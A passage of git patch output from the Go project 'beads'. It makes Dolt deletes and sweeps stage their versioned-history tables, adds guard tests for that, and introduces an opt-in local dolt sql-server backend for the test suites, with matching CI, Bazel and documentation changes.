refusing. + if err := store.AddDependency(ctx, &types.Dependency{ + IssueID: neighbor, DependsOnID: target, Type: types.DepBlocks, + }, "linker"); err != nil { + t.Fatalf("add dep: %v", err) + } + + configurer.SetVersionedHistoryEnabled(true) + defer configurer.SetVersionedHistoryEnabled(false) + + deleter, err := store.Deleter() + if err != nil { + t.Fatalf("Deleter(): %v", err) + } + result, err := deleter.Delete(ctx, publicops.DeleteRequest{ + IDs: []string{target}, Force: true, Actor: "deleter", + }) + if err != nil { + t.Fatalf("delete %s: %v", target, err) + } + if result.ReferencesUpdated != 1 { + t.Fatalf("ReferencesUpdated = %d, want 1 — the citation rewrite did not run, so this case is not exercising the minting delete path it exists for", result.ReferencesUpdated) + } + + var versions int + if err := store.db.QueryRowContext(ctx, + `SELECT COUNT(*) FROM issue_versions WHERE issue_id = ?`, neighbor).Scan(&versions); err != nil { + t.Fatalf("count issue_versions for %s: %v", neighbor, err) + } + if versions != 1 { + t.Fatalf("issue_versions rows for the rewritten neighbor %s = %d, want 1 — the delete's own transaction is not scoped for minting", neighbor, versions) + } + + for _, table := range []string{"issue_versions", "store_epoch", "issues"} { + var dirty int + if err := store.db.QueryRowContext(ctx, + `SELECT COUNT(*) FROM dolt_status WHERE table_name = ?`, table).Scan(&dirty); err != nil { + t.Fatalf("read dolt_status for %s: %v", table, err) + } + if dirty != 0 { + t.Errorf("dolt_status still reports %s dirty after the delete committed — the neighbor's version rows are outside the delete's own Dolt commit: unreplicated, and waiting to be swept into whatever unrelated commit stages next", table) + } + } +} diff --git a/internal/storage/dolt/ephemeral_routing.go b/internal/storage/dolt/ephemeral_routing.go index 74bbd20ac..d745aa427 100644 --- a/internal/storage/dolt/ephemeral_routing.go +++ b/internal/storage/dolt/ephemeral_routing.go @@ -348,7 +348,8 @@ func (s *DoltStore) demoteToWispInTx(ctx context.Context, tx *sql.Tx, id string, // The hazard remains LIVE everywhere the in-tx ordering survives — a larger // surface than this helper's callers: wisp promote/demote (this file), // legacy reopen (issues.go), RunInIssueLifecycleTransaction -// (transaction.go), AND the same DOLT_ADD/DOLT_COMMIT-inside-tx pattern +// (transaction.go), the role deleter and sweeper (deleter.go, sweeper.go), +// AND the same DOLT_ADD/DOLT_COMMIT-inside-tx pattern // inlined directly in the legacy DoltStore write methods in issues.go and // slots.go (UpdateIssue, UpdateIssueChecked, ClaimIssue, ClaimReadyIssue, // UnclaimIssue, UnclaimIssueIfAssignee, ReclaimExpiredLeases, CloseIssue*, @@ -361,15 +362,17 @@ func (s *DoltStore) demoteToWispInTx(ctx context.Context, tx *sql.Tx, id string, // The STAGED SET is the hazard's other axis, and it widened. When versioned // history is active, withVersionedHistoryTables adds issue_versions and // store_epoch to whatever fixed list a caller passed (every caller here -// already stages issues), so those two tables are now exposed to the lost -// update above on every in-tx plane named in the paragraph above. The -// exposure is not equivalent to the one issues already had: a reverted issues -// row is rewritten by the next mutation of that bead, while issue_versions -// and store_epoch are append-only, so a row reverted to its BEGIN-time value -// is never rewritten -- it is gone, leaving a hole in the history no later -// write fills. Migrating these planes to the post-tx ordering closes this -// along with the rest of the hazard; it is written down here so the -// activation phase inherits a known hazard rather than discovering it. +// already stages issues), and the role deleter and sweeper call it on their +// own fixed list for the same durability reason, so those two tables are now +// exposed to the lost update above on every in-tx plane named in the paragraph +// above. The exposure is not equivalent to the one issues already had: a +// reverted issues row is rewritten by the next mutation of that bead, while +// issue_versions and store_epoch are append-only, so a row reverted to its +// BEGIN-time value is never rewritten -- it is gone, leaving a hole in the +// history no later write fills. Migrating these planes to the post-tx +// ordering closes this along with the rest of the hazard; it is written down +// here so the activation phase inherits a known hazard rather than +// discovering it. func (s *DoltStore) doltAddAndCommitInTx(ctx context.Context, tx *sql.Tx, tables []string, commitMsg string) error { // Batch/off auto-commit (bd-4wamg): leave the writes in the working set // for a later explicit commit point (bd dolt commit / CommitPending) diff --git a/internal/storage/dolt/sweeper.go b/internal/storage/dolt/sweeper.go index 8d6bae809..d1f6d81d8 100644 --- a/internal/storage/dolt/sweeper.go +++ b/internal/storage/dolt/sweeper.go @@ -73,7 +73,14 @@ func (s *sweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (issueop if result.Swept == 0 { return nil } - for _, table := range sweptTables { + // Through the same funnel the deleter uses. A sweep mints nothing today + // — SweepInTx deletes through DeleteIssuesInTx, which rewrites no + // neighbor, so there is no surviving row to version — but it shares + // this table list and the minting-scoped withWriteTx with the deleter, + // and a staging list that carries the version tables on one and not the + // other is the asymmetry the wisp-arm scope comment refused: inert + // today, and silently wrong the day a sweep gains a surviving-row write. + for _, table := range s.store.withVersionedHistoryTables(sweptTables) { _ = schema.DrainCall(ctx, tx, "CALL DOLT_ADD(?)", table) } msg := fmt.Sprintf("bd: sweep %d %s bead(s)", result.Swept, req.Tier) diff --git a/internal/storage/dolt/version_staging_completeness_test.go b/internal/storage/dolt/version_staging_completeness_test.go new file mode 100644 index 000000000..0702751ba --- /dev/null +++ b/internal/storage/dolt/version_staging_completeness_test.go @@ -0,0 +1,104 @@ +package dolt + +import ( + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/journalscan" +) + +// versionStagingFunnels are the ways a staging path picks up the tables the +// versioned-history seam writes: the store helper that appends them to a +// caller's fixed list, or the dirty-table tracker that marks them for +// versioncontrolops.StageAndCommit. +var versionStagingFunnels = map[string]bool{ + "withVersionedHistoryTables": true, + "MarkVersionedHistoryDirty": true, +} + +// doltAddStagingExemptions are functions that issue a DOLT_ADD and legitimately +// do NOT route their staged set through a funnel, each with a reason. The +// staleness check below fails if one stops being flagged, so an exemption +// cannot rot. +var doltAddStagingExemptions = map[string]string{ + "DoltStore.commitWorkingSet": "stages the dolt_status-derived dirty set rather than a fixed list: a dirty issue_versions or store_epoch is already in that set by construction, so there is nothing for withVersionedHistoryTables to append", +} + +// TestEveryDoltAddStagesVersionedHistoryTables is the staging twin of +// TestEveryRawTxVersionScopeIsScopedOrExempt, and exists for the same reason at +// one step further down the path: those guards prove the seam MINTS and that +// the store turns minting ON for the transaction it mints in; nothing proved +// the minted rows are STAGED into the Dolt commit the mutation makes. Until +// this guard existed, withVersionedHistoryTables' own "Every fixed-list +// DOLT_ADD path in this package routes through here" was an asserted claim, and +// it was false: the role deleter and sweeper looped their hand-listed +// sweptTables directly, so a delete that rewrote a surviving neighbor's +// citations minted version rows inside a transaction that then staged +// everything except them. +// +// Unstaged version rows are the quiet failure this whole phase exists to close. +// They read back perfectly from SQL while sitting in the working set, outside +// the commit that describes them: unreplicated, and liable to be swept into +// whatever unrelated commit stages next. For the append-only tables the loss is +// the unrecoverable kind — no later write refills a hole in issue_versions or +// store_epoch the way the next mutation of a bead rewrites its issues row. +// +// KNOWN LIMIT: the detector reads the string literals a function passes as call +// ARGUMENTS, which is the form every DOLT_ADD in this package uses. A DOLT_ADD +// assembled in a variable or through fmt.Sprintf would be invisible to it — the +// non-vacuity check below is what keeps that from silently emptying the guard, +// the way the scope guards' own "the guard is not actually running" fatals do. +func TestEveryDoltAddStagesVersionedHistoryTables(t *testing.T) { + doltFns, err := journalscan.ParsePackage(".") + if err != nil { + t.Fatalf("parse dolt package: %v", err) + } + + seenExempt := map[string]bool{} + var checked int + for key, f := range doltFns { + if !callsDoltAdd(f) { + continue + } + if reason, ok := doltAddStagingExemptions[key]; ok { + if reason == "" { + t.Errorf("%s has an empty DOLT_ADD staging exemption reason", key) + } + seenExempt[key] = true + continue + } + checked++ + if !f.CallsAnyOf(versionStagingFunnels) { + t.Errorf("%s stages tables with DOLT_ADD but never routes the set through withVersionedHistoryTables "+ + "(or marks it with MarkVersionedHistoryDirty) — when versioned history is active the version rows this "+ + "transaction minted stay in the working set, outside the Dolt commit that describes them: unreplicated, "+ + "and for the append-only tables unrecoverable. Route the list through s.withVersionedHistoryTables, "+ + "or add it to doltAddStagingExemptions with a reason.", key) + } + } + + if checked == 0 { + t.Fatal("guard found no DOLT_ADD staging path — literal detection or parsing changed; the guard is not actually running") + } + for key := range doltAddStagingExemptions { + if !seenExempt[key] { + t.Errorf("DOLT_ADD staging exemption %q no longer matches a DOLT_ADD path — remove it", key) + } + } +} + +// callsDoltAdd reports whether f passes a DOLT_ADD statement to anything. It +// deliberately asks nothing about the SHAPE of the call: a whole-working-set +// DOLT_ADD('-A') needs no funnel, but making that an automatic pass would let a +// future fixed-list site hide behind a shape test. Such a site takes an +// exemption line naming the reason instead. +func callsDoltAdd(f *journalscan.FuncInfo) bool { + for _, call := range f.Calls { + for _, arg := range call.Args { + if strings.Contains(arg, "DOLT_ADD") { + return true + } + } + } + return false +} From 671715bb8ba452b3641dbd655f5c9bf39b922441 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 04:06:49 -0700 Subject: [PATCH 174/624] test(testutil): opt-in local dolt sql-server backend for Dolt-backed tests (#6891) * test(testutil): local dolt sql-server backend behind the Dolt test server API Add a second backend to internal/testutil behind the unchanged container API (EnsureDoltContainerForTestMain, RequireDoltContainer, StartIsolatedDoltContainer[Handle], NewContainerProvider, RestartSharedDoltContainer, DoltContainerCrashed, IsolatedDoltContainer Stop/Start/CurrentPort/Exec): the test process spawns `dolt sql-server` from the pinned dolt CLI instead of a dolthub/dolt-sql-server container. - BEADS_TEST_DOLT_SERVER=local|container selects it; unset keeps plain `go test` on the container (no behavior change) and makes `bazel test` use the local backend. Other values fail instead of guessing. - The CLI (BEADS_TEST_DOLT_BINARY, else PATH) must be the image's version. - Provisioned like testcontainers' dolt module: root@% (DOLT_ROOT_HOST=%), database beads_test, user test/test. Clean env, TZ=UTC, GOMAXPROCS=4, own dolt global config with metrics and the version check disabled. - Loopback port picked here (dolt rejects -P 0), never 3307, retried when another process wins the port; readiness requires the server's own "Server ready" line plus a bounded ping, so a foreign listener on a contested port cannot pass for it. - State lives under the TMPDIR captured at package init, outside every PinSuiteTempRoot root, so suite leak sweeps never see it. The server stays in the test's process group (bazel's group kill reaps it) with Pdeathsig on Linux. - BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 now also makes every TestMain that only warned about an unavailable server exit 1 (DoltUnavailableForTestMain), plus the shared proxied harness. - dolt_benchmark_purge_test finds .dolt_dropped_databases relative to Exec's working directory (the data dir in both backends). - TestDoltServerFingerprint checks each available backend against one checked-in fingerprint (users, grants, databases, server variables); local-backend tests cover the bind-race retry, 3307, crash detection, Stop/Start, Exec cwd, state outside the suite root, and teardown. - Bazel: the requires-docker variants pin BEADS_TEST_DOLT_SERVER=container so the docker lane stays the container A/B control; the test wrapper's dolt global config disables metrics and the version check. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(testutil): select the local Dolt test server only when asked for Under Bazel an unset BEADS_TEST_DOLT_SERVER used to mean the local backend, so every non-ci `bazel test` started servers for Dolt suites no lane runs with one (//internal/storage/dolt:dolt_test went from a 16 s skip to a timeout). Unset now means container everywhere: in a Bazel action without docker that is the pre-existing warn+skip, and only a target's env or --test_env=BEADS_TEST_DOLT_SERVER=local starts local servers. Plain `go test` is unchanged. The docker variants keep their container pin: a rule env beats --test_env, so a local-backend invocation cannot flip the docker lane. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(testutil): harden the local Dolt test server's host footprint - DOLT_DISABLE_EVENT_FLUSH=1 for every dolt the backend runs (and in the Bazel test wrapper): the metrics/versioncheck keys stop network calls but not the detached `dolt send-metrics` child each command forks on exit, which re-created the version probe's removed HOME (one leaked bdt-doltver-* per test process) and raced terminate's RemoveAll. - Every bdt-dolt-*/bdt-doltver-* root records its owner PID, and the first use of the backend in a process removes this user's roots whose owner is dead (the SweepDeadSuiteRoots rule; a copy, since doltserver's tests import testutil). A panicking, timed-out or killed test binary, or a package whose TestMain never terminates the singleton, no longer leaks a 40-100 MB state dir per run. - secure_file_priv is the state root's sfp/ directory, set through a per-launch --config file (dolt ignores other flags with --config): a local server runs as the test user on the host with a passwordless root@%, so LOAD_FILE / INTO OUTFILE must not reach the user's files. The fingerprint treats that path as the container's "". - Fingerprint: character_set_server, collation_server, max_allowed_packet, transaction_isolation, lower_case_table_names, lower_case_file_system (compared on Linux only: APFS reports ON), wait_timeout, innodb_lock_wait_timeout. - The local backend's own tests skip off Linux (no Pdeathsig, so a killed test binary would orphan servers on the macOS runners) unless BEADS_TEST_DOLT_SERVER=local asks for them. Co-Authored-By: Claude Opus 5.5 (1M context) * ci: compare the container and local Dolt test servers in the domain+uow job TestDoltServerFingerprint's container half never ran in CI: only the test-domain-uow job has both the pulled image and the pinned dolt CLI, and it never ran ./internal/testutil. Run the fingerprint there (with BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 so the container half cannot skip) so an image bump that drifts the container side fails in the PR. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr.yml | 9 + beads_test.go | 4 +- cmd/bd/doctor/dolt_e2e_test.go | 4 +- cmd/bd/doctor/fix/BUILD.bazel | 7 +- cmd/bd/doctor/fix/testmain_cgo_test.go | 4 +- cmd/bd/protocol/BUILD.bazel | 3 + cmd/bd/protocol/helpers_test.go | 4 +- cmd/bd/proxied_shared_harness_test.go | 3 + cmd/bd/test_dolt_server_cgo_test.go | 5 +- engdocs/TESTING.md | 18 + internal/beads/testmain_integration_test.go | 5 +- internal/molecules/testmain_test.go | 4 +- .../storage/dolt/dolt_benchmark_purge_test.go | 31 +- internal/storage/dolt/testmain_test.go | 4 +- internal/storage/domain/db/BUILD.bazel | 7 +- internal/storage/uow/BUILD.bazel | 3 + internal/testutil/BUILD.bazel | 4 + internal/testutil/container_provider.go | 14 + internal/testutil/localdoltserver.go | 602 +++++++++++++++++ internal/testutil/localdoltserver_linux.go | 14 + internal/testutil/localdoltserver_other.go | 11 + internal/testutil/localdoltserver_test.go | 608 ++++++++++++++++++ internal/testutil/testdoltcommon.go | 22 + internal/testutil/testdoltserver.go | 93 ++- internal/testutil/testdoltserver_env_test.go | 2 + internal/tracker/testmain_test.go | 4 +- internal/utils/testmain_test.go | 5 +- scripts/ci_workflow_test.go | 8 + tests/regression/regression_test.go | 4 +- tools/bazel/test_env.sh | 11 +- 30 files changed, 1475 insertions(+), 42 deletions(-) create mode 100644 internal/testutil/localdoltserver.go create mode 100644 internal/testutil/localdoltserver_linux.go create mode 100644 internal/testutil/localdoltserver_other.go create mode 100644 internal/testutil/localdoltserver_test.go diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 0600e4d51..43b573118 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -877,6 +877,15 @@ jobs: sha256sum -c SHA256SUMS chmod +x bd-linux-gms-pure + # The only lane with both the image and the pinned dolt CLI: compares + # the container and the local test server backend against the one + # checked-in fingerprint, so an image bump cannot drift the container + # side unnoticed. REQUIRE makes the container half fail, not skip. + - name: Test Dolt server fingerprint (container + local) + env: + BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" + run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ + - name: Test domain + uow + tracker env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure diff --git a/beads_test.go b/beads_test.go index 3966bc034..2faaa3ce1 100644 --- a/beads_test.go +++ b/beads_test.go @@ -29,7 +29,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow root tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testServerPort = testutil.DoltContainerPortInt() diff --git a/cmd/bd/doctor/dolt_e2e_test.go b/cmd/bd/doctor/dolt_e2e_test.go index 2fc70e8a4..412eae31a 100644 --- a/cmd/bd/doctor/dolt_e2e_test.go +++ b/cmd/bd/doctor/dolt_e2e_test.go @@ -89,7 +89,9 @@ func testMainInner(m *testing.M) int { } if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() port := testutil.DoltContainerPortInt() diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index 4ca96cb1d..e3b6d5108 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -114,7 +114,12 @@ sh_test( srcs = ["//tools/bazel:go_test_variant.sh"], args = ["$(rootpath :fix_test)"], data = [":fix_test"], - env = {"BEADS_FIX_REQUIRE_DOLT": "1"}, + # Pinned to the container backend (the docker lane is the A/B control); + # rule env beats --test_env, so =local on the command line cannot flip it. + env = { + "BEADS_FIX_REQUIRE_DOLT": "1", + "BEADS_TEST_DOLT_SERVER": "container", + }, tags = [ "no-remote-exec", "requires-docker", diff --git a/cmd/bd/doctor/fix/testmain_cgo_test.go b/cmd/bd/doctor/fix/testmain_cgo_test.go index b93c2b2f1..19929519e 100644 --- a/cmd/bd/doctor/fix/testmain_cgo_test.go +++ b/cmd/bd/doctor/fix/testmain_cgo_test.go @@ -26,7 +26,9 @@ func testMainInner(m *testing.M) int { // database-name firewall when they connect to the spawned test server. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() } diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index c53b22206..7cabc8522 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -92,9 +92,12 @@ sh_test( ":protocol_race_off", "//cmd/bd:bd_for_tests", ], + # Pinned to the container backend (the docker lane is the A/B control); + # rule env beats --test_env, so =local on the command line cannot flip it. env = { "BEADS_PROTOCOL_REQUIRE_DOLT": "1", "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "container", }, # ~10 min unsharded without -race in pr.yml. shard_count = 8, diff --git a/cmd/bd/protocol/helpers_test.go b/cmd/bd/protocol/helpers_test.go index 1f254ce4d..ba0cc3fa5 100644 --- a/cmd/bd/protocol/helpers_test.go +++ b/cmd/bd/protocol/helpers_test.go @@ -53,7 +53,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow protocol tests to connect to the spawned test server. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testDoltPort = testutil.DoltContainerPortInt() diff --git a/cmd/bd/proxied_shared_harness_test.go b/cmd/bd/proxied_shared_harness_test.go index eeb23a0d9..cbaf3c5dd 100644 --- a/cmd/bd/proxied_shared_harness_test.go +++ b/cmd/bd/proxied_shared_harness_test.go @@ -35,6 +35,9 @@ func sharedProxiedServerPort(t *testing.T) int { sharedProxiedPort = port }) if sharedProxiedErr != nil { + if os.Getenv(testutil.EnvRequireDoltContainer) == "1" { + t.Fatalf("shared proxied-server unavailable: %v, but %s=1; this lane must not skip", sharedProxiedErr, testutil.EnvRequireDoltContainer) + } t.Skipf("shared proxied-server unavailable: %v", sharedProxiedErr) } return sharedProxiedPort diff --git a/cmd/bd/test_dolt_server_cgo_test.go b/cmd/bd/test_dolt_server_cgo_test.go index 40c60bb06..b62b3d8d8 100644 --- a/cmd/bd/test_dolt_server_cgo_test.go +++ b/cmd/bd/test_dolt_server_cgo_test.go @@ -38,7 +38,10 @@ func startTestDoltServer() func() { return func() { testutil.TerminateDoltContainer() } } if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + // Nothing has been started yet; there is nothing to clean up. + os.Exit(1) + } return func() {} } diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index aba1ea3b6..403e3142f 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -81,6 +81,24 @@ To skip an optional service explicitly, use the existing skip mechanism: BEADS_TEST_SKIP=dolt ./scripts/test.sh ./... ``` +Tests that need a Dolt SQL server get one from `internal/testutil` +(`EnsureDoltContainerForTestMain`, `RequireDoltContainer`, +`StartIsolatedDoltContainer[Handle]`, `NewContainerProvider`). Two backends +sit behind that API, selected by `BEADS_TEST_DOLT_SERVER`: + +- `container`: the `dolthub/dolt-sql-server` image through testcontainers + (needs docker and the pulled image). The default under plain `go test`. +- `local`: a `dolt sql-server` started by the test process from the pinned + dolt CLI (`BEADS_TEST_DOLT_BINARY`, else `dolt` on `PATH`; it must be the + image's version). No docker. Used only when explicitly selected, under + `go test` and `bazel test` alike (a Bazel target's `env`, or + `--test_env=BEADS_TEST_DOLT_SERVER=local`); unset means `container`, which + in a Bazel action without docker keeps the usual skip. + +`BEADS_TEST_REQUIRE_DOLT_CONTAINER=1` turns an unavailable backend into a +failure (per test and in every `TestMain`) instead of a skip; lanes that +exist to run the Dolt suites set it. + Tests that need a temporary repository or store should use `t.TempDir()` and `t.Cleanup()`. Temporary repositories must set a repository-local hooks path; do not inherit the developer's global hooks configuration. diff --git a/internal/beads/testmain_integration_test.go b/internal/beads/testmain_integration_test.go index 1fca8dca5..7251802c1 100644 --- a/internal/beads/testmain_integration_test.go +++ b/internal/beads/testmain_integration_test.go @@ -27,7 +27,10 @@ func setupIntegrationTestMain(root string) (func(), error) { os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + cleanup() + return nil, err + } return cleanup, nil } diff --git a/internal/molecules/testmain_test.go b/internal/molecules/testmain_test.go index 4b4bdf56d..c2ea60d24 100644 --- a/internal/molecules/testmain_test.go +++ b/internal/molecules/testmain_test.go @@ -29,7 +29,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow molecules tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testServerPort = testutil.DoltContainerPortInt() diff --git a/internal/storage/dolt/dolt_benchmark_purge_test.go b/internal/storage/dolt/dolt_benchmark_purge_test.go index 4c6edda52..55a76489b 100644 --- a/internal/storage/dolt/dolt_benchmark_purge_test.go +++ b/internal/storage/dolt/dolt_benchmark_purge_test.go @@ -12,20 +12,21 @@ import ( "github.com/steveyegge/beads/internal/testutil" ) -// findDroppedDirCmd locates the .dolt_dropped_databases directory anywhere in -// the container. +// findDroppedDirCmd locates the .dolt_dropped_databases directory under the +// server's data directory. // -// It deliberately does NOT use `find -xdev`. The Dolt image declares -// VOLUME /var/lib/dolt (`docker image inspect dolthub/dolt-sql-server:2.2.0` -// -> `{"/var/lib/dolt":{}}`), so the data dir is a *separate mount* from `/`: -// inside the container `stat -c %d / /var/lib/dolt` reports different device -// IDs. `-xdev` stops the walk dead at that boundary, so it never reaches the -// data dir at all — the probe returned "" on every run, the entry count was -// always 0, and the leak assertion below was vacuously true whether or not -// dropBenchDB purged anything (PR #5792 review, finding 1). The pseudo -// filesystems `-xdev` was there to skip are pruned explicitly instead. -const findDroppedDirCmd = `find / -maxdepth 6 \( -path /proc -o -path /sys -o -path /dev \) -prune ` + - `-o -type d -name .dolt_dropped_databases -print 2>/dev/null` +// It is relative on purpose: IsolatedDoltContainer.Exec runs with the data +// directory as its working directory in both test server backends (the +// container's WORKDIR is its data dir, /var/lib/dolt; the local backend runs +// the command on the host in the local server's data dir). A walk from `/` +// would, with the local backend, search the host instead of one server's data. +// +// Walking from `.` also sidesteps the trap an earlier `find / -xdev` fell into: +// the image declares VOLUME /var/lib/dolt, a separate mount from `/`, and +// `-xdev` stopped at that boundary, so the probe returned "" on every run and +// the leak assertion below was vacuously true (PR #5792 review, finding 1). +// requireLeakIsObservable (the positive control) guards against a blind probe. +const findDroppedDirCmd = `find . -maxdepth 4 -type d -name .dolt_dropped_databases -print 2>/dev/null` // TestBenchDBPurgeDoesNotLeak is the regression gate for be-pq5: dropBenchDB // must DROP and then PURGE so the dropped-databases dir does not grow across @@ -35,8 +36,8 @@ const findDroppedDirCmd = `find / -maxdepth 6 \( -path /proc -o -path /sys -o -p // // Dolt 1.86 exposes no SQL view for the dropped-databases list, so the only // way to detect a leak is to count entries in the server's -// .dolt_dropped_databases/ directory, which has no host-visible path — hence -// reading it by exec'ing into the container. +// .dolt_dropped_databases/ directory, which with the container backend has no +// host-visible path — hence reading it through IsolatedDoltContainer.Exec. // // This runs against its own isolated container, not the shared TestMain one. // Six sites in this package refuse to DROP DATABASE against the shared diff --git a/internal/storage/dolt/testmain_test.go b/internal/storage/dolt/testmain_test.go index 02f367f74..dc261aa5e 100644 --- a/internal/storage/dolt/testmain_test.go +++ b/internal/storage/dolt/testmain_test.go @@ -132,7 +132,9 @@ func testMainInner(m *testing.M) int { defer os.Unsetenv(testCircuitBreakerDirEnv) } if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testServerPort = testutil.DoltContainerPortInt() diff --git a/internal/storage/domain/db/BUILD.bazel b/internal/storage/domain/db/BUILD.bazel index fe51e3993..78e0eb5eb 100644 --- a/internal/storage/domain/db/BUILD.bazel +++ b/internal/storage/domain/db/BUILD.bazel @@ -140,7 +140,12 @@ sh_test( srcs = ["//tools/bazel:go_test_variant.sh"], args = ["$(rootpath :db_test)"], data = [":db_test"], - env = {"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"}, + # Pinned to the container backend (the docker lane is the A/B control); + # rule env beats --test_env, so =local on the command line cannot flip it. + env = { + "BEADS_TEST_DOLT_SERVER": "container", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, tags = [ "no-remote-exec", "requires-docker", diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 0862a9118..3389c8051 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -204,8 +204,11 @@ sh_test( ":uow_test", "//cmd/bd:bd_for_tests", ], + # Pinned to the container backend (the docker lane is the A/B control); + # rule env beats --test_env, so =local on the command line cannot flip it. env = { "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "container", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", }, # ~12 min unsharded under -race on a loaded host (large allows 15). diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 1aa4cc278..e71085878 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -7,6 +7,9 @@ go_library( "container_provider_windows.go", "dockercontext.go", "git_test_hooks.go", + "localdoltserver.go", + "localdoltserver_linux.go", + "localdoltserver_other.go", "suite_temp.go", "testdoltbranch.go", "testdoltcommon.go", @@ -104,6 +107,7 @@ go_test( name = "testutil_test", srcs = [ "dockercontext_test.go", + "localdoltserver_test.go", "suite_temp_test.go", "testdoltbranch_test.go", "testdoltserver_env_test.go", diff --git a/internal/testutil/container_provider.go b/internal/testutil/container_provider.go index 39f887cff..b6573eb41 100644 --- a/internal/testutil/container_provider.go +++ b/internal/testutil/container_provider.go @@ -18,6 +18,7 @@ import ( // mapped host port, and Stop() to tear it down. type ContainerProvider struct { container *dolt.DoltContainer + local *localDoltServer // local backend instead of container port int } @@ -27,6 +28,14 @@ func NewContainerProvider() (*ContainerProvider, error) { return nil, fmt.Errorf("cannot create container provider: %s", state) } + if useLocalDoltServer() { + s, err := startLocalDoltServer() + if err != nil { + return nil, fmt.Errorf("starting local Dolt server: %w", err) + } + return &ContainerProvider{local: s, port: s.Port()}, nil + } + ctx, cancel := context.WithTimeout(context.Background(), serverStartTimeout) defer cancel() @@ -70,6 +79,11 @@ func (p *ContainerProvider) WritePortFile(serverDir string) error { // Stop terminates the container. func (p *ContainerProvider) Stop() error { + if p.local != nil { + p.local.terminate() + p.local = nil + return nil + } if p.container == nil { return nil } diff --git a/internal/testutil/localdoltserver.go b/internal/testutil/localdoltserver.go new file mode 100644 index 000000000..8b7fd5c7f --- /dev/null +++ b/internal/testutil/localdoltserver.go @@ -0,0 +1,602 @@ +//go:build !windows + +package testutil + +import ( + "bytes" + "context" + "database/sql" + "errors" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "sync" + "syscall" + "time" +) + +// EnvDoltServerBackend selects where the test Dolt SQL server comes from: +// +// container the dolthub/dolt-sql-server image through testcontainers +// (needs a docker daemon and the pulled image) +// local `dolt sql-server` from the pinned dolt CLI, started by the test +// process itself (no docker; works under remote execution) +// +// Unset means container, under plain `go test` and `bazel test` alike. A +// Bazel action has no docker daemon, so there an unset target keeps the +// pre-existing "Dolt unavailable, skipping" behavior; only targets (or +// invocations, via --test_env) that set local explicitly start servers from +// the pinned CLI that 